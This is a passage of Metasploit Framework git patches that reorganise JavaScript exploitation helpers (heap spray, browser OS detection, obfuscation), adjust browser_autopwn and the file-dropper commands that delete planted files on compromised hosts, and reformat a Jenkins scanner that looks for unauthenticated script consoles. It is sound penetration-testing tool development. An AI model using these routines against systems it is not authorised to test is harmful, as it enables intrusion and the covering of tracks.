Rex::Exploitation::Js::Memory.mstime_malloc + js.should =~ /function mstime_malloc/ + end + end + + context ".property_spray" do + it "should load the property_spray javascript" do + js = Rex::Exploitation::Js::Memory.property_spray + js.should =~ /function sprayHeap/ + end + end + + context ".heap_spray" do + it "should load the heap_spray javascript" do + js = Rex::Exploitation::Js::Memory.heap_spray + js.should =~ /function sprayHeap/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb new file mode 100644 index 0000000000..46dadc6d5a --- /dev/null +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -0,0 +1,16 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::Network do + + context "Class methods" do + + context ".ajax_download" do + it "should load the ajax_download javascript" do + js = Rex::Exploitation::Js::Network.ajax_download + js.should =~ /function ajax_download/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/osdetect_spec.rb b/spec/lib/rex/exploitation/js/osdetect_spec.rb new file mode 100644 index 0000000000..fa22cf9cf7 --- /dev/null +++ b/spec/lib/rex/exploitation/js/osdetect_spec.rb @@ -0,0 +1,16 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::OSDetect do + + context "Class methods" do + + context ".initialize" do + it "should load the OSDetect javascript" do + js = Rex::Exploitation::Js::OSDetect.new.to_s + js.should =~ /window\.os_detect/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb new file mode 100644 index 0000000000..f755d99ca2 --- /dev/null +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -0,0 +1,16 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::Utils do + + context "Class methods" do + + context ".base64" do + it "should load the base64 javascript" do + js = Rex::Exploitation::Js::Utils.base64 + js.should =~ /encode : function/ + end + end + + end + +end \ No newline at end of file From 99d5da1f035a0b53db6eb5407e71bf0ebde2a886 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 20:22:45 -0500 Subject: [PATCH 288/409] We can simplify this --- lib/msf/core/exploit/http/server.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index cc4a9020f4..2267a01746 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,11 +3,7 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' -require 'rex/exploitation/js/network' -require 'rex/exploitation/js/utils' -require 'rex/exploitation/js/osdetect' -require 'rex/exploitation/js/addonsdetect' -require 'rex/exploitation/js/memory' +require 'rex/exploitation/js' module Msf From fcba529ea5de385d4a51a516a41a23daac6ebee6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 20:54:25 -0500 Subject: [PATCH 289/409] Update coding format --- lib/rex/exploitation/js.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/exploitation/js.rb b/lib/rex/exploitation/js.rb index 115c774b20..5847eeb290 100644 --- a/lib/rex/exploitation/js.rb +++ b/lib/rex/exploitation/js.rb @@ -1,3 +1,5 @@ +# -*- coding: binary -*- + require 'rex/exploitation/js/addonsdetect' require 'rex/exploitation/js/memory' require 'rex/exploitation/js/network' From 19615ac4b7733e7729a23dcaac81f66325d827fa Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 21:02:01 -0500 Subject: [PATCH 290/409] Apparently I missed a lot of stuff --- .../js/{exploitation => memory}/heap_spray.js | 0 .../{exploitation => memory}/mstime_malloc.js | 0 .../property_spray.js | 0 lib/rex/exploitation/js/addonsdetect.rb | 30 +++++++++++ lib/rex/exploitation/js/memory.rb | 52 +++++++++++++++++++ lib/rex/exploitation/js/network.rb | 28 ++++++++++ lib/rex/exploitation/js/osdetect.rb | 44 ++++++++++++++++ lib/rex/exploitation/js/utils.rb | 33 ++++++++++++ 8 files changed, 187 insertions(+) rename data/js/{exploitation => memory}/heap_spray.js (100%) rename data/js/{exploitation => memory}/mstime_malloc.js (100%) rename data/js/{exploitation => memory}/property_spray.js (100%) create mode 100644 lib/rex/exploitation/js/addonsdetect.rb create mode 100644 lib/rex/exploitation/js/memory.rb create mode 100644 lib/rex/exploitation/js/network.rb create mode 100644 lib/rex/exploitation/js/osdetect.rb create mode 100644 lib/rex/exploitation/js/utils.rb diff --git a/data/js/exploitation/heap_spray.js b/data/js/memory/heap_spray.js similarity index 100% rename from data/js/exploitation/heap_spray.js rename to data/js/memory/heap_spray.js diff --git a/data/js/exploitation/mstime_malloc.js b/data/js/memory/mstime_malloc.js similarity index 100% rename from data/js/exploitation/mstime_malloc.js rename to data/js/memory/mstime_malloc.js diff --git a/data/js/exploitation/property_spray.js b/data/js/memory/property_spray.js similarity index 100% rename from data/js/exploitation/property_spray.js rename to data/js/memory/property_spray.js diff --git a/lib/rex/exploitation/js/addonsdetect.rb b/lib/rex/exploitation/js/addonsdetect.rb new file mode 100644 index 0000000000..af0aeed1dd --- /dev/null +++ b/lib/rex/exploitation/js/addonsdetect.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation +module Js + +# +# Provides javascript functions to determine addon information. +# +# getMsOfficeVersion(): Returns the version for Microsoft Office +# +class AddonsDetect < JSObfu + + def initialize(custom_js = '', opts = {}) + @js = custom_js + @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) + + super @js + + return @js + end + +end +end +end +end diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb new file mode 100644 index 0000000000..2d94e2ae5e --- /dev/null +++ b/lib/rex/exploitation/js/memory.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Rex +module Exploitation +module Js + +# +# Provides meomry manipulative functions in JavaScript +# +class Memory + + def self.mstime_malloc + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "mstime_malloc.js")) + js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) + js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ buf eleId acTag } + } + }).obfuscate + end + + def self.property_spray + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ sym_div_container data junk obj } + } + }).obfuscate + end + + def self.heap_spray + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heap_spray.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt } + } + }).obfuscate + end + +end +end +end +end diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb new file mode 100644 index 0000000000..ae206dcd40 --- /dev/null +++ b/lib/rex/exploitation/js/network.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Rex +module Exploitation +module Js + +# +# Provides networking functions in JavaScript +# +class Network + + def self.ajax_download + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js")) + + ::Rex::Exploitation::ObfuscateJS.new(js, + { + 'Symbols' => { + 'Variables' => %w{ xmlHttp } + } + }).obfuscate + end + +end +end +end +end diff --git a/lib/rex/exploitation/js/osdetect.rb b/lib/rex/exploitation/js/osdetect.rb new file mode 100644 index 0000000000..4ec67e5de1 --- /dev/null +++ b/lib/rex/exploitation/js/osdetect.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation +module Js + +# +# Provides several javascript functions for determining the OS and browser versions of a client. +# +# getVersion(): returns an object with the following properties +# os_name - OS name, one of the Msf::OperatingSystems constants +# os_flavor - OS flavor as a string (e.g.: "XP", "2000") +# os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) +# os_lang - OS language (e.g.: "en-us") +# ua_name - Client name, one of the Msf::HttpClients constants +# ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") +# arch - Architecture, one of the ARCH_* constants +# +# The following functions work on the version returned in obj.ua_version +# +# ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively +# ua_ver_lt(a, b): returns true if a < b +# ua_ver_gt(a, b): returns true if a > b +# ua_ver_eq(a, b): returns true if a == b +# +class OSDetect < JSObfu + + def initialize(custom_js = '', opts = {}) + @js = custom_js + @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) + + super @js + + return @js + end + +end +end +end +end diff --git a/lib/rex/exploitation/js/utils.rb b/lib/rex/exploitation/js/utils.rb new file mode 100644 index 0000000000..45fdb216ee --- /dev/null +++ b/lib/rex/exploitation/js/utils.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation +module Js + +# +# Javascript utilities +# +class Utils + + def self.base64 + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js")) + + opts = { + 'Symbols' => { + 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx + input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 }, + 'Methods' => %w{ _utf8_encode _utf8_decode encode decode } + } + } + + ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s + end + +end +end +end +end From afcce8a511f74ae9e027b15fcbe95cdc9ee4c44d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 22 Oct 2013 01:11:11 -0500 Subject: [PATCH 291/409] Merge osdetect and addonsdetect --- lib/msf/core/exploit/http/server.rb | 2 +- lib/rex/exploitation/js.rb | 5 +- lib/rex/exploitation/js/addonsdetect.rb | 30 ---------- lib/rex/exploitation/js/detect.rb | 56 +++++++++++++++++++ lib/rex/exploitation/js/osdetect.rb | 44 --------------- modules/auxiliary/server/browser_autopwn.rb | 5 +- .../rex/exploitation/js/addonsdetect_spec.rb | 16 ------ spec/lib/rex/exploitation/js/detect_spec.rb | 23 ++++++++ spec/lib/rex/exploitation/js/osdetect_spec.rb | 16 ------ 9 files changed, 85 insertions(+), 112 deletions(-) delete mode 100644 lib/rex/exploitation/js/addonsdetect.rb create mode 100644 lib/rex/exploitation/js/detect.rb delete mode 100644 lib/rex/exploitation/js/osdetect.rb delete mode 100644 spec/lib/rex/exploitation/js/addonsdetect_spec.rb create mode 100644 spec/lib/rex/exploitation/js/detect_spec.rb delete mode 100644 spec/lib/rex/exploitation/js/osdetect_spec.rb diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 2267a01746..f185497061 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -810,7 +810,7 @@ protected end def js_os_detect - @cache_os_detect ||= ::Rex::Exploitation::Js::OSDetect.new + @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end # Transmits a html response to the supplied client diff --git a/lib/rex/exploitation/js.rb b/lib/rex/exploitation/js.rb index 5847eeb290..721ecb824c 100644 --- a/lib/rex/exploitation/js.rb +++ b/lib/rex/exploitation/js.rb @@ -1,7 +1,6 @@ # -*- coding: binary -*- -require 'rex/exploitation/js/addonsdetect' require 'rex/exploitation/js/memory' require 'rex/exploitation/js/network' -require 'rex/exploitation/js/osdetect' -require 'rex/exploitation/js/utils' \ No newline at end of file +require 'rex/exploitation/js/utils' +require 'rex/exploitation/js/detect' \ No newline at end of file diff --git a/lib/rex/exploitation/js/addonsdetect.rb b/lib/rex/exploitation/js/addonsdetect.rb deleted file mode 100644 index af0aeed1dd..0000000000 --- a/lib/rex/exploitation/js/addonsdetect.rb +++ /dev/null @@ -1,30 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation -module Js - -# -# Provides javascript functions to determine addon information. -# -# getMsOfficeVersion(): Returns the version for Microsoft Office -# -class AddonsDetect < JSObfu - - def initialize(custom_js = '', opts = {}) - @js = custom_js - @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) - - super @js - - return @js - end - -end -end -end -end diff --git a/lib/rex/exploitation/js/detect.rb b/lib/rex/exploitation/js/detect.rb new file mode 100644 index 0000000000..c7f659f357 --- /dev/null +++ b/lib/rex/exploitation/js/detect.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation +module Js + + +class Detect + + # + # Provides several javascript functions for determining the OS and browser versions of a client. + # + # getVersion(): returns an object with the following properties + # os_name - OS name, one of the Msf::OperatingSystems constants + # os_flavor - OS flavor as a string (e.g.: "XP", "2000") + # os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) + # os_lang - OS language (e.g.: "en-us") + # ua_name - Client name, one of the Msf::HttpClients constants + # ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") + # arch - Architecture, one of the ARCH_* constants + # + # The following functions work on the version returned in obj.ua_version + # + # ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively + # ua_ver_lt(a, b): returns true if a < b + # ua_ver_gt(a, b): returns true if a > b + # ua_ver_eq(a, b): returns true if a == b + # + def self.os(custom_js = '') + js = custom_js + js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) + + Rex::Exploitation::JSObfu.new(js) + end + + + # + # Provides javascript functions to determine addon information. + # + # getMsOfficeVersion(): Returns the version for Microsoft Office + # + def self.addons(custom_js = '') + js = custom_js + js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) + + Rex::Exploitation::JSObfu.new(js) + end + +end +end +end +end diff --git a/lib/rex/exploitation/js/osdetect.rb b/lib/rex/exploitation/js/osdetect.rb deleted file mode 100644 index 4ec67e5de1..0000000000 --- a/lib/rex/exploitation/js/osdetect.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation -module Js - -# -# Provides several javascript functions for determining the OS and browser versions of a client. -# -# getVersion(): returns an object with the following properties -# os_name - OS name, one of the Msf::OperatingSystems constants -# os_flavor - OS flavor as a string (e.g.: "XP", "2000") -# os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) -# os_lang - OS language (e.g.: "en-us") -# ua_name - Client name, one of the Msf::HttpClients constants -# ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") -# arch - Architecture, one of the ARCH_* constants -# -# The following functions work on the version returned in obj.ua_version -# -# ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively -# ua_ver_lt(a, b): returns true if a < b -# ua_ver_gt(a, b): returns true if a > b -# ua_ver_eq(a, b): returns true if a == b -# -class OSDetect < JSObfu - - def initialize(custom_js = '', opts = {}) - @js = custom_js - @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) - - super @js - - return @js - end - -end -end -end -end diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8c0fc65116..a0fc5ea56e 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -9,7 +9,7 @@ # - caching is busted when different browsers come from the same IP require 'msf/core' -require 'rex/exploitation/js/osdetect' +require 'rex/exploitation/js/detect' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Auxiliary @@ -171,7 +171,7 @@ class Metasploit3 < Msf::Auxiliary def setup print_status("Setup") - @init_js = ::Rex::Exploitation::Js::OSDetect.new <<-ENDJS + @init_js = ::Rex::Exploitation::Js::Detect.os(<<-ENDJS #{js_base64} @@ -223,6 +223,7 @@ class Metasploit3 < Msf::Auxiliary report_and_get_exploits(detected_version); } // function bodyOnLoad ENDJS + ) if (datastore['DEBUG']) print_debug("NOTE: Debug Mode; javascript will not be obfuscated") diff --git a/spec/lib/rex/exploitation/js/addonsdetect_spec.rb b/spec/lib/rex/exploitation/js/addonsdetect_spec.rb deleted file mode 100644 index 8b54379a99..0000000000 --- a/spec/lib/rex/exploitation/js/addonsdetect_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/js' - -describe Rex::Exploitation::Js::AddonsDetect do - - context "Class methods" do - - context ".initialize" do - it "should load the Addons Detect javascript" do - js = Rex::Exploitation::Js::AddonsDetect.new.to_s - js.should =~ /window\.addons_detect/ - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb new file mode 100644 index 0000000000..d029f0a5e1 --- /dev/null +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -0,0 +1,23 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::Detect do + + context "Class methods" do + + context ".os" do + it "should load the OS Detect javascript" do + js = Rex::Exploitation::Js::Detect.os.to_s + js.should =~ /window\.os_detect/ + end + end + + context ".addons" do + it "should load the Addons Detect javascript" do + js = Rex::Exploitation::Js::Detect.addons.to_s + js.should =~ /window\.addons_detect/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/osdetect_spec.rb b/spec/lib/rex/exploitation/js/osdetect_spec.rb deleted file mode 100644 index fa22cf9cf7..0000000000 --- a/spec/lib/rex/exploitation/js/osdetect_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/js' - -describe Rex::Exploitation::Js::OSDetect do - - context "Class methods" do - - context ".initialize" do - it "should load the OSDetect javascript" do - js = Rex::Exploitation::Js::OSDetect.new.to_s - js.should =~ /window\.os_detect/ - end - end - - end - -end \ No newline at end of file From 4ad9bc5efe94348078cbe81c145b8f2635831edb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 08:42:14 -0500 Subject: [PATCH 292/409] Try to [FixRM #8510] --- lib/msf/core/exploit/file_dropper.rb | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 008f5ded8f..81382408c0 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -47,19 +47,20 @@ module Exploit::FileDropper false end else - cmds = [ + win_cmds = [ %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"|, - %Q|rm -f "#{file}" >/dev/null|, - ] - + %Q|del.exe /f /q "#{win_file}"| + ] # We need to be platform-independent here. Since we can't be # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - session.shell_command_token(cmds.join(" ; ")) + # automatic targets frequently change it we just go ahead and + # run one unix command and one windows command. One of them + # will definitely fail and the other will probably succeed. + # Two commands are executed because the character separator is + # different on Windows and Unix ('&' vs ';') as we learned on + # https://dev.metasploit.com/redmine/issues/8510 + session.shell_command_token("rm -f \"#{file}\" >/dev/null") + session.shell_command_token(win_cmds.join(" & ")) print_good("Deleted #{file}") true end From de0d09886cbb3ec80aa03e8a549cf022c66a7a53 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 09:26:44 -0500 Subject: [PATCH 293/409] Retab changes for PR #2383 --- .../scanner/http/jenkins_vulnscan.rb | 324 +++++++++--------- 1 file changed, 162 insertions(+), 162 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 32b619f27d..31646fa289 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -8,173 +8,173 @@ require 'rexml/document' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Jenkins Vulnerability Scanner', - 'Description' => %q{ - This module scans a Jenkins installation for a few vulnerablities. - }, - 'Author' => 'Jeff McCutchan', - 'License' => MSF_LICENSE - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins Vulnerability Scanner', + 'Description' => %q{ + This module scans a Jenkins installation for a few vulnerablities. + }, + 'Author' => 'Jeff McCutchan', + 'License' => MSF_LICENSE + )) - register_options( - [ - OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), - ], self.class) - end + register_options( + [ + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), + ], self.class) + end - def run_host(ip) - res = send_request_cgi( - { - 'uri' => target_uri.path, - 'method' => 'GET', - 'ctype' => 'text/plain', - }) - if res - # check to see if we are dealing with a Jenkins installation - if not res.headers.include?('X-Jenkins') - print_status("#{rhost}:#{rport} responded with #{res.code} but does not seem to be Jenkins") if res.code != 404 - return - end - else - vprint_error("No reponse recieved from #{rhost}:#{rport}") - return - end - version = res.headers['X-Jenkins'] - vprint_status("#{rhost}:#{rport} Jenkins Version - #{version}") - # script - exploit module for this - # view/All/newJob - can be exploited manually - # asynchPeople - Jenkins users - # systemInfo - system information - apps = [ 'script', - 'view/All/newJob', - 'asynchPeople/', - 'systemInfo', - ] - apps.each do |app| - check_app(app) - end - end + def run_host(ip) + res = send_request_cgi( + { + 'uri' => target_uri.path, + 'method' => 'GET', + 'ctype' => 'text/plain', + }) + if res + # check to see if we are dealing with a Jenkins installation + if not res.headers.include?('X-Jenkins') + print_status("#{rhost}:#{rport} responded with #{res.code} but does not seem to be Jenkins") if res.code != 404 + return + end + else + vprint_error("No reponse recieved from #{rhost}:#{rport}") + return + end + version = res.headers['X-Jenkins'] + vprint_status("#{rhost}:#{rport} Jenkins Version - #{version}") + # script - exploit module for this + # view/All/newJob - can be exploited manually + # asynchPeople - Jenkins users + # systemInfo - system information + apps = [ 'script', + 'view/All/newJob', + 'asynchPeople/', + 'systemInfo', + ] + apps.each do |app| + check_app(app) + end + end - def check_app(app) - uri_path = normalize_uri(target_uri.path, app) - res = send_request_cgi({ - 'uri' => uri_path, - 'method' => 'GET', - 'ctype' => 'text/plain', - }) - if not res - vprint_error("Failed to connect to #{rhost}:#{rport}#{uri_path}") - return - end - case res.code - when 200 - print_good("#{rhost}:#{rport}#{uri_path} does not require authentication (200)") - case app - when "systemInfo" - parse_system_info(res.body) - when "script" - report_vuln( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :name => self.name, - :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" - ) - end - when 403 - vprint_status("#{rhost}:#{rport}#{uri_path} restricted (403)") - when 401 - vprint_status("#{rhost}:#{rport}#{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") - when 404 - vprint_status("#{rhost}:#{rport}#{uri_path} not found (404)") - when 301 - vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") - when 302 - vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") - else - vprint_status("#{rhost}:#{rport}#{uri_path} Don't know how to handle response code #{res.code}") - end - end + def check_app(app) + uri_path = normalize_uri(target_uri.path, app) + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'GET', + 'ctype' => 'text/plain', + }) + if not res + vprint_error("Failed to connect to #{rhost}:#{rport}#{uri_path}") + return + end + case res.code + when 200 + print_good("#{rhost}:#{rport}#{uri_path} does not require authentication (200)") + case app + when "systemInfo" + parse_system_info(res.body) + when "script" + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :name => self.name, + :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" + ) + end + when 403 + vprint_status("#{rhost}:#{rport}#{uri_path} restricted (403)") + when 401 + vprint_status("#{rhost}:#{rport}#{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + when 404 + vprint_status("#{rhost}:#{rport}#{uri_path} not found (404)") + when 301 + vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + when 302 + vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + else + vprint_status("#{rhost}:#{rport}#{uri_path} Don't know how to handle response code #{res.code}") + end + end - def parse_system_info(body) - vprint_status("#{rhost}:#{rport} getting useful information from systemInfo") - infos = { - "os.name" => nil, - "os.version" => nil, - "sun.os.patch.level" => nil, - "os.arch" => nil, - "user.name" => nil, - "USERDOMAIN" => nil, - "user.home" => nil, - "user.language" => nil, - "user.country" => nil, - "user.timezone" => nil, - "COMPUTERNAME" => nil, - "SystemDrive" => nil, - "TEMP" => nil, - "TMP" => nil, - "SHELL" => nil - } - # remove unclosed tags for REXML - body = body.gsub('', '') - body = body.gsub('
', '') - doc = REXML::Document.new(body) - tds = doc.get_elements("//td") - tdcounter = 0 - tds.each do |td| - td = td.get_text.to_s.strip - infos.each do |k, v| - if td == k - infos[k] = tds[tdcounter +1].get_text.to_s.strip - end - end - tdcounter +=1 - end + def parse_system_info(body) + vprint_status("#{rhost}:#{rport} getting useful information from systemInfo") + infos = { + "os.name" => nil, + "os.version" => nil, + "sun.os.patch.level" => nil, + "os.arch" => nil, + "user.name" => nil, + "USERDOMAIN" => nil, + "user.home" => nil, + "user.language" => nil, + "user.country" => nil, + "user.timezone" => nil, + "COMPUTERNAME" => nil, + "SystemDrive" => nil, + "TEMP" => nil, + "TMP" => nil, + "SHELL" => nil + } + # remove unclosed tags for REXML + body = body.gsub('', '') + body = body.gsub('
', '') + doc = REXML::Document.new(body) + tds = doc.get_elements("//td") + tdcounter = 0 + tds.each do |td| + td = td.get_text.to_s.strip + infos.each do |k, v| + if td == k + infos[k] = tds[tdcounter +1].get_text.to_s.strip + end + end + tdcounter +=1 + end - # print out the goodies - infos.each do |k, v| - next if v.nil? - case k - when "os.name" - print_line(" OS: #{v}") - when "os.version" - print_line(" OS Version: #{v}") - when "sun.os.patch.level" - print_line(" Patch Level: #{v}") - when "os.arch" - print_line(" Arch: #{v}") - when "user.name" - print_line(" User: #{v}") - when "USERDOMAIN" - print_line(" Domain: #{v}") - when "COMPUTERNAME" - print_line(" Computer Name: #{v}") - when "SystemDrive" - vprint_line(" System Drive: #{v}") - when "SHELL" - print_line(" Shell: #{v}") - when "TEMP" - print_line(" Temp Directory: #{v}") - when "TMP" - print_line(" Temp Directory: #{v}") if infos["TEMP"].nil? - when "user.home" - vprint_line(" Home Directory: #{v}") - when "user.language" - vprint_line(" Language: #{v}") - when "user.country" - vprint_line(" Country: #{v}") - when "user.timezone" - vprint_line(" Timezone: #{v}") - end + # print out the goodies + infos.each do |k, v| + next if v.nil? + case k + when "os.name" + print_line(" OS: #{v}") + when "os.version" + print_line(" OS Version: #{v}") + when "sun.os.patch.level" + print_line(" Patch Level: #{v}") + when "os.arch" + print_line(" Arch: #{v}") + when "user.name" + print_line(" User: #{v}") + when "USERDOMAIN" + print_line(" Domain: #{v}") + when "COMPUTERNAME" + print_line(" Computer Name: #{v}") + when "SystemDrive" + vprint_line(" System Drive: #{v}") + when "SHELL" + print_line(" Shell: #{v}") + when "TEMP" + print_line(" Temp Directory: #{v}") + when "TMP" + print_line(" Temp Directory: #{v}") if infos["TEMP"].nil? + when "user.home" + vprint_line(" Home Directory: #{v}") + when "user.language" + vprint_line(" Language: #{v}") + when "user.country" + vprint_line(" Country: #{v}") + when "user.timezone" + vprint_line(" Timezone: #{v}") + end - end - print_line('') - end + end + print_line('') + end end From f46cdb89704b5dc4cec7617b590f209b2a4a5464 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 09:27:37 -0500 Subject: [PATCH 294/409] Add the correct plate --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 31646fa289..10f48275bf 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -1,3 +1,8 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + ## # Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata ## From 111c12ef0d5e1ddebd2932d35e2d014ae8d11afc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 09:28:15 -0500 Subject: [PATCH 295/409] Do cosmetic changes --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 10f48275bf..407e3a3d02 